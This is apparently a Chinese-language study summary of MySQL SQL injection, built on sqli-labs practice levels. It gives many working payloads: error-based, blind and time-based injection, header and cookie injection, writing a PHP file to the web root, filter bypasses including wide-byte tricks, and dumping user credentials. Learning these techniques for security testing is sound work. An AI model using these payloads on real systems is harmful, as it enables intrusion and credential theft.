对一次sql注入学习的总结。
目录
- 0x00 什么是SQL注入(SQL Injection)
- 0x01 MySQL注入相关知识
-
- 1.1 MySQL的一些小知识点
- 1.2 MySQL 5.X 数据结构
- 1.3 SQL语句学习(增、删、改、查)
- 1.4 MySQL常用函数
- 1.5 注释
- 0x02 基于GET请求的注入
-
- 2.1 数字型
- 2.2 字符型
- 0x03 基于POST请求的注入
-
- 3.1 BurpSuite 介绍
- 3.2 HTTP 头中的注入
-
- 3.2.0 HTTP POST 的介绍
- 3.2.1 User-Agent 注入
- 3.2. 2 Referer 注入
- 3.3 Cookie 注入
- 3.4 Cookie Base64 注入
- 0x04 盲注(Blind Injection)
-
- 4.0 盲注介绍
- 4.1基于真假的盲注
- 4.2 基于时间的盲注
- 0x05 MySQL 读写文件注入
-
- 5.0 介绍
- 5.1 读文件
- 5.2 写文件
- 0x06 报错注入
-
- 6.1 updatexml函数
- 6.2 extractvalue函数
- 6.3 floor()函数
-
- 6.3.0 floor()报错介绍
- 6.3.1 floor()函数利用
- 0x07 绕过
-
- 7.1 大小写绕过
- 7.2 双写绕过
- 7.3 编码绕过
- 7.4 内联注释绕过
- 7.5 实例
-
- 7.5.1 绕过去除注释符
- 7.5.2 绕过剔除and和or关键字
- 7.5.3 绕过剔除空格
- 7.5.4 剔除黑名单(union和select)的绕过
- 7.5.5 宽字节绕过
- 0x08 二次注入
-
- 8.0 二次注入介绍
- 8.1 二次注入的代码分析
- 8.2 二次注入利用
- 8.3 二次注入的危害
- 0x09 基本手工注入流程
-
- 9.1 通过报错信息,猜测SQL语句
- 9.2 order by 获取字段数
- 9.3 数据库中表的获取
- 9.4 表中字段的获取
- 9.5 字段值的获取
0x00 什么是SQL注入(SQL Injection)
sql注入就是一种通过操作输入来修改后台操作语句达到执行恶意sql语句来进行攻击的技术。
0x01 MySQL注入相关知识
1.1 MySQL的一些小知识点
- Mysql中的大小写不敏感,大写和小写一样
- Mysql 可以自动识别URL与Hex编码好的内容
- 符号和关键字的替换:and -> && , or -> ||
- 内联注释与多行注释:
1.2 MySQL 5.X 数据结构
在Mysql 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)。
在schemata表中,schema_name字段用来存储数据库名
在tables表中,table_schema和table_name分别用来存储数据库名和表名。
在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)
1.3 SQL语句学习(增、删、改、查)
INSERT INTO table_name (列1, 列2,…) VALUES (值1, 值2,…)
DELETE FROM 表名称 WHERE 列名称 = 值
UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
SELECT 列名称 FROM 表名称 WHERE 字段1 = ‘条件1’ AND 字段2 = ‘条件2’
1.4 MySQL常用函数
user():查看当前Mysql登录用户名
database():查看当前使用Mysql数据库名
version():查看当前Mysql版本
拓展limit关键字 limit m,n 从m行开始,到m+n行。
1.5 注释
注释符的作用:用于标记某段代码的作用,起到对代码功能的说明作用。但是注释掉的内容不会被执行。
Mysql中的注释符:
1、单行注释: --+ 或 --空格 或 #
2、多行注释:
对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合 单引号、多单引号、双引号、单括号、多括号的功能
0x02 基于GET请求的注入
2.1 数字型
常见的SQL语句:
常用的payload:id = 1 or 1=1
2.2 字符型
常见的SQL语句:
常用的payload:
1、id = 1’ # (注释符可自行选择)
2、id = 1’ or ‘1’ = '1
0x03 基于POST请求的注入
基于post请求的注入,无法像GET请求注入那样,可直接在URL中插入Payload,需要进行抓包,在HTTP信息正文中插入Payload。
3.1 BurpSuite 介绍
Burpsuite是一款Web安全测试的利器,集成了几乎Web安全测试中所有需要用到的功能。
这里仅对BurpSuite进行介绍,不讲解Burp Suite的使用
3.2 HTTP 头中的注入
3.2.0 HTTP POST 的介绍
POST 发送数据给服务器处理,数据包含在HTTP信息正文中
POST请求会向指定资源提交数据,请求服务器进行处理,如:表单数据提交、文件上传等,请求数据会被包含在请求体中。
POST方法可能会创建新的资源或/和修改现有资源。
使用POST方法时,查询字符串在POST信息中单独存在,和HTTP请求一起发送到服务器:
常见http可能被污染的参数:
1、User-Agent :浏览器版本(少)
2、Referer :来源 (少)
3、X-Forwarded-For : 获取ip (高)
4、client_ip :获取ip (高)
漏洞出现的原因:
网站后台记录用户登录的浏览器信息、记录用户ip(在登录、记录浏览器信息的地方,容易发现该漏洞)
3.2.1 User-Agent 注入
User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
结合sqli-labs靶场中sqli-Less18 进行演示
查看源代码:
Payload:
’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or ‘1’='1
3.2. 2 Referer 注入
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.
sqli-labs靶场中的Sqli-Less19
源代码:
Payload:
’ and updatexml(1,concat(0x7e,version(),0x7e),1) or '1
3.3 Cookie 注入
Cookie介绍:
服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。Cookies最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功能。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息
都会写Cookies,以便在最后付款时提取信息
Sqli-Labs靶场中的Sqli-Less20
代码分析:
Payload:
’ and updatexml(1,concat(0x7e,user(),0x7e),1)–+
3.4 Cookie Base64 注入
Base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。
Cookie Base64注入与Cookie注入的区别:
Cookie Base64 对Cookie的值进行了Base64的编码,所以在进行插入Payload之前,要对Payload进行Base64编码
Sqli-Labs靶场中的Sqli-Less21
代码分析:
base64_decode(str) : PHP语言中用于解密Base64加密字符串的函数。
Payload:
admin’) and updatexml(1,concat(0x7e,version(),0x7e),1)#
Base64编码:
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIw==
0x04 盲注(Blind Injection)
4.0 盲注介绍
Blind SQL (盲注) 是注入攻击的其中一种, 向数据库发送 true 或 false 这样的问题, 并根据应用程序返回的信息判断结果. 这种攻击的出现是因为应用程序配置为只显示常规错误, 但并没有解决SQL 注入存在的代码问题.
演示盲注问题。当攻击者利用SQL注入漏洞进行攻击时, 有时候web应用程序会显示, 后端数据库执行SQL查询返回的错误信息. Blind SQL (盲注)与常规注入很接近, 不同的是数据库返回数据的检索方式. 若数据库没有输出数据到web页面, 攻击者会询问一些列的 true 或 false 问题, 强制从数据库获取数据
盲注常分为: 基于布尔型的盲注 和 基于时间的盲注.
在GET请求与POST请求的注入中都可能存在盲注
4.1基于真假的盲注
盲注不返回错误信息,如果在使用普通的SQL语句是无法探测出是否存在SQL 注入漏洞,所以我们需要构造特殊的Payload来探测是否存在注入漏洞,并通过不断测试来判断该是什么类型的SQL注入(数字型的或者字符型的)
构造一个错误的Payload,看是否会返回错误信息
http://192.168.1.2/sqlilabs/Less-8/?id=1
通常我们都是输入一个正确的数据,然后在后面拼上特殊构造的Payload的,此时我们通过对比两个Payload的带来的结构来判断是否存在注入漏洞
Payload:
and 1=1 --+
and 1=2 --+
当我们输入一个正确数据
http://192.168.1.2/sqlilabs/Less-8/?id=1
接着拼上Payload
http://192.168.1.2/sqlilabs/Less-8/?id=1’ and 1=1–+
对比另外一个Payload
http://192.168.1.2/sqlilabs/Less-8/?id=1’ and 1=2–+
此时可发现存在盲注,因此,我们可以构造更高级的Payload来探测出一些有用的信息
Payload:
’ and length(database())=N --+ //判断当前数据库名称的长度
’ and ascii(substr(database(),1,1)) = N --+ //判断当前数据库名称第一个字是什么
我们来尝试一个payload:
http://192.168.1.2/sqlilabs/Less-8/?id=1 and length(database())=8 --+
4.2 基于时间的盲注
基于时间的盲注,我们不在像基于真假注入那样,构造一真一假的payload来判断,而是要借助于sleep()函数构造正确的payload,通过页面响应的时间来判断是否存在盲注
payload:
’ and sleep(3) --+
由此我们可以判断出存在盲注,接着构造更高级的payload来得出我们想要的信息
payload:
’ and if(length(database())=8,sleep(3),null) --+
0x05 MySQL 读写文件注入
5.0 介绍
mysql数据库在渗透过程中使用的功能还是比较多的,除了读取数据之外,还可以对文件进行读写(但是前提是权限足够)
读取前提:
1、 用户权限足够高,尽量具有root权限
2、 secure_file_priv 不为NULL
(可使用sql命令行查看:show globe variables like “secure_file_priv”)
5.1 读文件
使用load_file()函数进行读取文件
http://192.168.1.2/sqlilabs/Less-1/?id=0’ union select 1,2,load_file(“c:\hey\123.txt”)–+
5.2 写文件
使用select … into outfile“路径” 语句将内容写入到指定路径
http://192.168.1.2/sqlilabs/Less-7/?id=0’)) union select “<?php phpinfo();?>”,2,3 into outfile “C:\phpstudy\PHPTutorial\WWW\sqlilabs\Less-7\hello.php”
–+
0x06 报错注入
6.1 updatexml函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
(第一个参数任意数字都行,第二个参数必须使用concat函数,且需要并上0x7e编码或其他编码的符号,才能正确报错)
6.2 extractvalue函数
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
payload:
6.3 floor()函数
6.3.0 floor()报错介绍
报错注入形式上是两个嵌套的查询,即select …(select …),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by clause分组语句,按照查询结果分组
通过报错来显示出具体的信息。
查询的时候如果使用rand()的话,该值会被计算多次。在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。在一次多记录的查询过程中floor(rand(0)2)的值是定性的,为011011
select count() from table group by floor(rand(0)*2);
6.3.1 floor()函数利用
Sqli-Labs靶场中的Sqli-Less5
Payload:
http://localhost/sqli-lab/Less-5/index.php?id= 0’ union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
0x07 绕过
7.1 大小写绕过
如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只是对整体进行过滤。例如:and 过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。
通过修改关键字内字母大小写来绕过过滤措施。例如:AnD 1=1 或 oR 1=1
例如:在进行探测当前表的字段数时,使用order by 数字进行探测。如果过滤了order ,可以使用OrdER来进行绕过。
7.2 双写绕过
如果在程序中设置出现关键字之后替换为空,那么SQL注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了以此替换。就是将关键字替换为对应的空。
例如:过滤了union 只要发现union无论时大小写都会被替换为空。这个时候我们可以使用双写来进行尝试 uniunionon
其他关键字双写
and -> anandd
or -> oorr
…
7.3 编码绕过
在MySQL中能够识别URL或hex编码的内容,且自动进行解码,所以存在关键字或符号被过滤时,可以采用URL或hex编码来尝试绕过
可以利用网络中的URL在线编码,绕过SQL注入的过滤机制。(这里推荐一个在线编码的网站)
http://tool.chinaz.com/Tools/urlencode.aspx
7.4 内联注释绕过
在Mysql中内联注释中的内容可以被当作SQL语句执行,当一些关键词(select、union等等)被过滤的时候,可以使用内联注入尝试绕过。
在注释符号内的关键字不会被过滤掉,且能够被MySQL识别且执行。
7.5 实例
7.5.1 绕过去除注释符
在MySQL中常见的注释符:
1、单行注释: --+ 或 --空格 或 #
2、多行注释:
这里要先了解preg_replace()函数,在分析去除注释符的代码
preg_replace(mixed $pattern , mixed $replacement , mixed $subject):执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
代码分析:
绕过方法:
利用注释符别过滤不能成功闭合单引号等,换一种思路 利用 or ‘1’='1 闭合单引号等。
可在Sqli-Labs靶场中的Sqli-Less23进行实践
paylaod:
’ union select 1,user(),3 or 1='1
7.5.2 绕过剔除and和or关键字
在MySQL中 and 与 or 关键字可以 被 逻辑运算符 && 与 || 等价替换
代码分析:
绕过方法:
这里使用Sqli-Labs靶场中的Sqli-Less25进行演示
这里提供几种绕过的思路:
- 大小写变形绕过,Or,OR,oR,And,ANd等等(在Less25靶场中,这个方法无法进行绕过)
- 在这两个敏感词汇中添加注释,例如: and 或
- 双写绕过: anandd ,oorr
- 利用逻辑运算符来替代 —— and -> && ,or -> ||
payload:
1’ oorr 1 = '1
7.5.3 绕过剔除空格
这里使用 Sqli-Labs 靶场中的 Sqli-Less25 进行演示
代码分析:
绕过思路:
1、使用其他编码进行代替绕过(URL、hex编码等):
- %0a 新建一行
- %0c 新的一页
- %0d return功能
- %0b 、%09 TAB键(垂直)
- %20 空格
2、使用()来代替空格
payload:
-1’oorr(updatexml(1,concat(0x7e,version(),0x7e),1))anandd’1’='1
7.5.4 剔除黑名单(union和select)的绕过
这里使用 Sqli-Labs 靶场中的 Sqli-Less27 进行演示
代码分析:
绕过思路:
- 大小写
- 双写
- 编码
- 注释
payload:
-10000000%27%0a%0auniOn%0aSelecT%0a2,user(),3%0a||%0a%271
7.5.5 宽字节绕过
宽字节注入介绍:
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
%DF’ :会被PHP当中的addslashes函数转义为“%DF’” ,“\”既URL里的“%5C”,那么也就是说,“%DF’”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”
最常使用的宽字节注入是利用%df,但是并不局限于这一个,只要范围在如下的都可以进行利用。
GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F)
使用 Sqli-Labs 靶场中的 Sqli-Less33 进行演示
这里先了解addslashes()函数,再对代码进行分析
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(’)
- 双引号(")
- 反斜杠(\)
- NULL
该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
代码分析
payload:
-1%df’ union select 1,database(),version() --+
0x08 二次注入
8.0 二次注入介绍
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
也就是说在应用程序中输入恶意造的数据库查询语句时会被转义,但是在数据库内部调用读取语句的时候又被还原。
8.1 二次注入的代码分析
8.2 二次注入利用
注册用户 admin1‘ – - ,修改密码查看数据库内容。
先查看数据库的内容:
进行用户注册,用户名:admin1‘ – - 密码: 123
再次查看数据库内容,检查是否注册成功
对用户 admin1’ – - 进行密码修改
这个时候我们发现,admin1‘-- -用户的密码并未被修改,而用户admin1的密码被修改了,由此可发现二次注入的危害
8.3 二次注入的危害
- 注入Payload触发二次SQL注入
- 注入Payload触发XSS攻击。
0x09 基本手工注入流程
9.1 通过报错信息,猜测SQL语句
先构造错误的payload:
1\(缺少注释符)
提取返回的错误信息:“1”) LIMIT 0,1
可发现,用户输入被包裹在单引号和括号内,由此推测该查询语句是:
9.2 order by 获取字段数
通过order by N 不断尝试,判断出正确的字段数
9.3 数据库中表的获取
使用联合查询语句(union select)来获取我们想要的信息。
1’ union select 字段1,字段2 ,字段3 from schemata where schema_name =database()#
注:
这里的字段数要于前面所判断出来的字段数一致,且用户输入要出错。这是由于union select 语句只能显示两个查询语句中的其中一个,只有前面的查询结果错误,才会显示后面union select语句查询的内容
payload:
0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
(group_concat(table_name)函数的作用:将table_name 字段内容显示在同一行里)
可以发现,users表中可能存在管理员的账号密码
9.4 表中字段的获取
payload:
0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
9.5 字段值的获取
payload:
0’ union select 1,group_concat(username,0x3a,password),3 from users–+
(group_concat(username,0x3a,password)中的0x3a表示‘:’,username :password)